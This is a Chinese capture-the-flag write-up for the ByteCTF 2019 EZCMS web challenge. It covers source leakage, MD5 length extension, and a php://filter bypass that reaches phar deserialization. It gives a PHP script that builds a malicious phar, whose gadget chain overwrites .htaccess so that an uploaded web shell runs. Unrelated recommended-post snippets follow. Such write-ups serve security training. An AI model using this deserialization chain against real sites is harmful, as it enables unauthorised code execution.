刷题记录:[ByteCTF 2019]EZCMS
刷题记录:[ByteCTF 2019]EZCMS
题目复现链接:https://buuoj.cn/challenges
参考链接:ByteCTF_2019&XNUCA_2019部分web题复现
一、知识点
1、源码泄露
访问www.zip获取源码
2、MD5长度扩展攻击
之前涉及过了
3、php://filter绕过正则实现phar反序列化
就算知道是这个思路,自己也做不出来。。。
这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess
首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)的过滤是可以绕过的,最后访问phar://时可以访问php://filter/resource=phar://
最后的phar脚本如下
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
// $this->checker=new Admin();
$this->checker=new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
$a = new File('Lethe','Lethe');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
刷题记录:[ByteCTF 2019]EZCMS的更多相关文章
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 刷题记录:[DDCTF 2019]homebrew event loop
目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...
- 刷题记录:[CISCN 2019 初赛]Love Math
目录 刷题记录:[CISCN 2019 初赛]Love Math 思路一 思路二 总结 刷题记录:[CISCN 2019 初赛]Love Math 题目复现链接:https://buuoj.cn/ch ...
- 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...
- 刷题记录:[ASIS 2019]Unicorn shop
目录 刷题记录:[ASIS 2019]Unicorn shop 一.涉及知识点 1.Unicode安全问题 刷题记录:[ASIS 2019]Unicorn shop 题目复现链接:https://bu ...
- 刷题记录:[SUCTF 2019]Pythonginx
目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...
- 刷题记录:[SUCTF 2019]CheckIn
目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...
- 刷题记录:[SUCTF 2019]EasySQL
目录 刷题记录:[SUCTF 2019]EasySQL 一.涉及知识点 1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 3.没有过 ...
随机推荐
- jquery获取form表单中的数据
$(function() { $('#submit').click(function() { var d = {}; var t = $('form').serializeArray(); //t的值 ...
- JAVA基础之会话技术-Cookie及Session
至此,学习Servlet三个域对象:ServletContext(web项目).request(一次请求).Session(一个客户端)!均有相同的方法! 从用户开始打开浏览器进行操作,便开始了一次会 ...
- Android Scroller详解
在学习使用Scroller之前,需要明白scrollTo().scrollBy()方法. 一.View的scrollTo().scrollBy() scrollTo.scrollBy方法是View中的 ...
- 网络监听工具 嗅探器 SpyNet
配置网卡 注册 监听配置 开始捕获
- 【RAC】 RAC For W2K8R2 安装--共享磁盘的配置(三)
[RAC] RAC For W2K8R2 安装--共享磁盘的配置(三) 一.1 BLOG文档结构图 一.2 前言部分 一.2.1 导读 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学 ...
- ubuntu18.04搭建NFS服务器
系统环境: NFS服务器操作系统: ubuntu18.04 server lts NFS服务器IP: 192.168.1.164 注: NFS服务器 指的是 待安装 NFS服务 的机器(物理机或者虚 ...
- nginx-location语法匹配优先级
- CSS制作华为mate8手机模型示例
CSS制作华为mate8手机模型效果图 1.HTML代码 <!DOCTYPE html> <html> <head> <meta charset=" ...
- OpenGL学习(1)—— 测试OpenGL环境是否搭建成功
一个用来验证OpenGL(glfw + glad)环境是否搭建成功的测试代码 内容为生成一个小窗口 #include <glad/glad.h> #include <GLFW/glf ...
- python学习之多窗口切换
多窗口切换: from selenium import webdriver d = webdriver.Firefox() d.window_handles #显示所有的窗口 d.current_wi ...